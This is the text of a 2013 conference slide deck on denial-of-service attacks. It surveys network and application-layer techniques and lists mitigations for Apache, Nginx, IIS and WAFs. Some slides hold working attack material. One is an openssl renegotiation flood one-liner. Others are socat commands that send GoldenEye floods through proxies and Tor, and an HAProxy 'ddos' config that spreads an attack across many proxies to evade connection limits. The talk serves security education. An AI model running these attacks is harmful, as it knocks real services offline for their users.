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super effective

denial of service
attacks

Jan Seidl
$ whoami
Full Name: Jan
Origin: Rio de

Seidl
Janeiro, RJ – Brazil

Work:
● Technical Coordinator @ TI Safe
●
● OpenSource contributor for: PEV, Logstash
●
● Codes and snippets @ github.com/jseidl
●
Features:
● UNIX Evangelist/Addict/Freak (but no fanboy!)
●
● Python and C lover
●
● Coffee dependent
●
● Hates printers and social networks
●
● Proud DC Labs Member
●
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
agenda
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Introduction to Denial-of-Service
Background: Layer 3 attacks
Attacking Layer 7: Fundamentals
Attacking Layer 7: Vectors & Tools
WebServer DoS Mitigation 101
Proxies (SOCKS/TOR) and Layer 7 attacks
Jericho Attack Technique: Load-balancing attacks
XSS D/DoS
Size doesn't matter: Mobile-launched Denial-of-Service
Demo/Video: GoldenEye MdoS Android Tool
Questions?

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service

What is denial of service?

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service
What is denial of service?

A denial-of-service attack (...), is an attempt to
make a machine or network resource
unavailable to its intended users.

Source: Wikipedia/en_US

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service
Result?

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service
Result?

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service
Symptoms
Oddly low performance
Unavailability of given resource
Unavailability of all resources

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service

Recent Cases

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service

http://money.cnn.com/2012/09/27/technology/bank-cyberattacks/index.html
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service

http://www.datacenterknowledge.com/archives/2009/08/06/twitter-is-latest-victim-in-series-of-attacks/

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service

http://nakedsecurity.sophos.com/2012/04/07/anonymous-attacks-home-office/
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service

http://usatoday30.usatoday.com/tech/news/story/2012-07-19/hactivism-anonymous-attacks/56464792/1

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service

http://olhardigital.uol.com.br/negocios/digital_news/noticias/ataques-ddos-cresceram-70-em-2012,-dizpesquisa
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service
Targets (OSI layer)

Network (Layer 3)

Bandwidth consumption

Application (Layer 7)

Application or operating system resources consumption

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Introduction to Denial-of-Service

Network (Layer 3)

Bandwidth consumption

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Background: Layer 3 attacks
Popular Attacks
Ping Flood

(…) is a simple denial-of-service attack where the attacker
overwhelms the victim with ICMP Echo Request (ping)
packets (...) The attacker hopes that the victim will respond
with ICMP Echo Reply packets, thus consuming both
outgoing bandwidth as well as incoming bandwidth.
Source: Wikipedia/en_US

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Background: Layer 3 attacks
Popular Attacks
Smurf Attack

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Background: Layer 3 attacks
Popular Attacks
Smurf Attack

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Background: Layer 3 attacks
Popular Attacks
Smurf Attack

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Background: Layer 3 attacks
Popular Attacks
SYN Flood

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Background: Layer 3 attacks
Popular Attacks
SYN Flood

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Background: Layer 3 attacks
Popular Attacks
Teardrop Attack

“When the sum of the offset and size of one fragmented
packet differ from that of the next fragmented packet, the
packets overlap, and the server attempting to reassemble
the packet can crash, especially if it is running an older
operating system that has this vulnerability.”
http://www.juniper.net/techpubs/software/junos-es/junos-es93/junos-es-swconfigsecurity/understanding-teardrop-attacks.html
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Background: Layer 3 attacks
Popular Attacks
Teardrop Attack

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Background: Layer 3 attacks
Popular Attacks
Teardrop Attack

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Background: Layer 3 attacks
Popular Attacks
Teardrop Attack

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Background: Layer 3 attacks
Popular Attacks
Teardrop Attack

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Fundamentals

Application (Layer 7)

Application or operating system resources consumption

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Fundamentals
Focus

Layer 3

Layer 7

Exhaust
bandwidth

Exhaust application or
operating system keyresources

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Fundamentals
Stealthness
Layer 3

Layer 7

High network noise
(noisy attack)

Low network noise, might
emulate legit requests

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Fundamentals
Efficiency
Layer 3

Layer 7

Requires lot of participants
for significant outage. May
be blocking by sparring

Sometimes only one
machine can cause damage.
Difficult to block

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Fundamentals
Mitigation
Layer 3

Layer 7

Large link, connectionlimiting, rate-limiting,
sparring

?

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Fundamentals
Layer 7 attacks targets
Intense CPU, Disk I/O & Swapping operations,
long/slow/complex queries

Finite application resources: Maximum Sockets Limits, Maximum
Memory Limits, Disk space etc

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Intense CPU usage
SSL Renegotiation / SSL Handshake Attack

15% more processing power needed on server
than on client to establish handshake.
On the wild since 2003.
Still affects most implementations.
Found by THC group (ww.thc.org) in 2011

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Intense CPU usage
SSL Renegotiation / SSL Handshake Attack
Tool:
THC-SSL-DOS <http://www.thc.org/thc-ssl-dos/>
- or thc­ssl­dosit() { while :; do (while :; do echo R; 
done) | openssl s_client ­connect 127.0.0.1:443 
2>/dev/null; done }
for x in `seq 1 100`; do thc­ssl­dosit & done

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Intense CPU usage
SSL Renegotiation / SSL Handshake Attack
Affects any TLS/SSL secured protocol:
HTTPS, SMTPS, POP3S, Database secure ports etc
Mitigation?
Turning off SSL renegotiation might help, but not solve
SSL accelerators might help, but also don't 100% solve
IPTables mitigation
http://vincent.bernat.im/en/blog/2011-ssl-dos-mitigation.html
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Intense CPU usage
Apache Range Header Attack
Parallel requests of small GZIP'ed content parts
Forces the webserver to perform several parallel compression
operations = high load
Discovered in 2011 (CVE-2011-3192)

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Intense CPU usage
Apache Range Header Attack
Tools:
killapache.pl <
http://seclists.org/fulldisclosure/2011/Aug/175>
Slowhttptest <http://code.google.com/p/slowhttptest/>

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Intense CPU usage
Apache Range Header Attack
Mitigation:
SetEnvIf or mod_rewrite
(ref: http://httpd.apache.org/security/CVE-2011-3192.txt)
Use a WAF (Web Application Firewall)
Update Apache to version 2.2.21 or greater

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Connection slots abuse
HTTP Slow Attacks
Slow Headers, Slow Post, Slow Read
Read or send data in small chunks, with interval
between reads / writes.
Waiting for the full request is part of the Web Server's
nature

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Connection slots abuse
HTTP Slow Attacks
Slow Headers: send request headers 'Slowly'
Slow Post: send request post body (post data) 'Slowly'
Slow Read: Small TCP window size to force slow response
reading

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Connection slots abuse
HTTP Slow Attacks
Slow Headers: send request headers 'Slowly'
GET / HTTP/1.1 rn /* sleep(1) */
Connection: keep-alive rn /* sleep(1) */
...

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Connection slots abuse
HTTP Slow Attacks
Slow Post: send request post body (post data) 'Slowly'
Content-Type: application/x-www-form-urlencoded
Content-Length: 512
Accept: text/html;q=0.9,text/plain;q=0.8
foo=bar /* sleep(1) */
bar=baz /* sleep(1) */
baz=foo /* sleep(1) */
...

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Connection slots abuse
HTTP Slow Attacks
Slow Read: Small TCP window size to force slow response
reading
/* pseudocode */
int len = 1;
while (data = read(sock, buffer, len)) {
sleep(5);
…
}

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Connection slots abuse
HTTP Slow Attacks
Tools:
Slow Headers: Slowloris, slowhttptest, OWASP HTTP Post
Tool
Slow Post: RUDY, slowhttptest, OWASP HTTP Post Tool
Slow Read: slowhttptest

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Connection slots abuse
HTTP Slow Attacks - Mitigation:
Slow Headers: request timeout (apache's
mod_reqtimeout), WAF
Slow Post: request timeout, WAF
Slow Read: Disable pipelining and oddly slow window sizes,
limit maximum request request time, WAF
Good article on slow attacks mitigation
https://community.qualys.com/blogs/securitylabs/2011/11/02
/how-to-protect-against-slow-http-attacks
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Connection slots abuse
HTTP KeepAlive + NoCache
Keep connections open and force cache regeneration.
First POC:
HULK – HTTP Unbearable Load King
Created on May 2012 by Barry Shteiman.
<http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/>

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Connection slots abuse
HTTP KeepAlive + NoCache: HULK

Highly effective against IIS, Apache & Reverse Proxies
Caveat: Python, Urllib2 → Always sends headers on the
same order
Spiderlabs: modsecurity rule to mitigate URLLib attacks (Hulk)
(http://blog.spiderlabs.com/2012/05/hulk-vs-thor-applicationdos-smackdown.html)
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Randomization FTW!

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Connection slots abuse
HTTP KeepAlive + NoCache + Randomness: GoldenEye
●
●

●
●

Author: Me! :)

Initially born as a Hulk fork due to its fingerprinting weakness
●
●

Transformed further into a new independent HTTP DoS Tool

Born to test WAF blocking abilities under random and semi-natural
payloads
Available at https://github.com/jseidl/GoldenEye

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Attacking Layer 7: Vectors & Tools
Connection slots abuse
HTTP KeepAlive + NoCache + Randomness: GoldenEye
Main Features:
GET, POST or Random HTTP methods
Random headers quantity
Random Headers content with legit values as per RFC
Better random block function to avoid fingerprinting

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan

Hackers to Hackers Conference 2012 – São Paulo, Brasil
Hackers to Hackers Conference 2012 – São Paulo, Brasil
Attacking Layer 7: Vectors & Tools
Mitigation
Granular page permissions
Filter POST where not needed
Filter querystring parameters where not needed
ProxyCache
Use caching proxies (ex: Varnish) and disable cache reload
KeepAlive e TimeOuts
Tune KeepAlive, TimeOut & KeepAliveTimeOut (Apache) and
equivalent in other webservers
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan

Hackers to Hackers Conference 2012 – São Paulo, Brasil
Hackers to Hackers Conference 2012 – São Paulo, Brasil
WebServer DoS Mitigation 101

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
WebServer DoS Mitigation 101
Apache

LimitRequestFields, LimitRequestFieldSize,
LimitRequestBody, LimitRequestLine,
LimitXMLRequestBody, TimeOut,
KeepAliveTimeOut, ListenBackLog,
MaxRequestWorkers [core]
RequestReadTimeout [mod_reqtimeout]
Source: https://community.qualys.com/blogs/securitylabs/2011/11/02/howto-protect-against-slow-http-attacks
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
WebServer DoS Mitigation 101
Nginx

client_max_body_size, client_body_buffer_size,
client_header_buffer_size,
large_client_header_buffers, client_body_timeout,
client_header_timeout [core]
Modules: HttpLimitReqModule,
HttpLimitZoneModule

Source: https://community.qualys.com/blogs/securitylabs/2011/11/02/howto-protect-against-slow-http-attacks
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
WebServer DoS Mitigation 101
IIS 6 & 7
IIS 6: connectionTimeout, HeaderWaitTimeout,
MaxConnections
IIS 7: <RequestLimits> maxAllowedContentLength,
maxQueryString, maxUrl
<headerLimits>
<Limits>/<WebLimits> connectionTimeout,
headerWaitTimeout, minBytesPerSecond
Source: https://community.qualys.com/blogs/securitylabs/2011/11/02/howto-protect-against-slow-http-attacks
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
WebServer DoS Mitigation 101
USE A WEB APPLICATION FIREWALL (WAF)

Modsecurity (Apache / Nginx)
http://www.modsecurity.org/

NAXSI (Nginx)
http://code.google.com/p/naxsi/
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Proxies and Layer 7 attacks

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Proxies and Layer 7 attacks
Layer 3

Layer 7

Bad to attack through
proxies as they usually
have low bandwidth and
you might get banned
from them

Requires low bandwidth
Low network noise
Not degraded by low
output

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Proxies and Layer 7 attacks
Why use proxies in HTTP attacks?

Simple answer






Geographic location at your will






Different source IPs

Can provide high anonymity

Largely available on the internet

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Proxies and Layer 7 attacks
Attack pivoting by proxies
Tool:
Socat: Multipurpose Relay
http://www.dest-unreach.org/socat/
Also with SSL support:
HTTPS, IMAPS, POPS, LDAPS

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Proxies and Layer 7 attacks
Attack pivoting by proxies: Regular Proxies
# socat TCP4­LISTEN:80 
PROXY:<PROXY_IP>:<VICTIM_IP>:80,proxyport=<PROXY_PORT>
# echo “127.0.0.1 <VICTIM_HOST>” >> /etc/hosts
# ./goldeneye.py http://<VICTIM_HOST>/index.php ­t 1000 
­m get

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Proxies and Layer 7 attacks
Attack pivoting by proxies: TOR
# socat TCP4­LISTEN:80,fork 
SOCKS4A:localhost:<VICTIM_IP>:80,socksport=9052  
# echo “127.0.0.1 <VICTIM_HOST>” >> /etc/hosts
# ./goldeneye.py http://<VICTIM_HOST>/index.php ­t 1000 
­m get

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Proxies and Layer 7 attacks
Bônus: Multi-TOR
The TOR client supports spawning as many instances and
opening as many circuits as necessary.
tor ­­RunAsDaemon 1 ­­CookieAuthentication 0 
­­HashedControlPassword "pwd" ­­ControlPort 4444 
­­PidFile torN.pid ­­SocksPort 5090 ­­DataDirectory 
data/torN
Tool:
Multi-TOR
https://github.com/jseidl/Multi-TOR/
EX: ./multi-tor.sh 5 # Opens 5 TOR instances
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Proxies and Layer 7 attacks
Mitigating TOR with TORBlock
Blocking TOR-sourced access
TORBlock: IPTables-based blocking
Tool:
https://github.com/jseidl/torblock

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Load Balancing Attacks
Meet Jericho

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Load Balancing Attacks
Starring: HAProxy
“The Reliable, High Performance TCP/HTTP Load Balancer”
REQUEST → HAPROXY → { SERVER A, SERVER B, SERVER C }

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Load Balancing Attacks
'Load-balanced' attacks anatomy
Attacker:
1. Open lots of socat tunnels to the victim, each one
from a different proxy (regular, TOR or both)
2. Put local port addresses (socat'ed ones) on
HAProxy
3. Place victim's domain on /etc/hosts
4. Attack normally from your favorite tool

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Load Balancing Attacks
'Load-balanced' attacks anatomy
listen ddos 0.0.0.0:80
mode tcp
balance roundrobin
server inst1 localhost:8080
server inst2 localhost:8081
server inst3 localhost:8082
server inst4 localhost:8083
…

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Load Balancing Attacks
'Load-balanced' attacks anatomy

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Load Balancing Attacks
'Load-balanced' attacks anatomy
Proxy 1
Proxy 2
Attacker

HAProxy

Proxy 3
Proxy 4

Victim

Proxy 5
Proxy 6
Proxy 7

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Load Balancing Attacks
'Load-balanced' attacks anatomy

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Load Balancing Attacks
Dangers of 'load-balanced' attacks?
●
●

Bypass connection-limiting
●
●

●
●

●
●

DoS → DDoS

Mutiple origin IPs

Origins can be from multiple countries

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Load Balancing Attacks
Dangers of 'load-balanced' attacks?

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
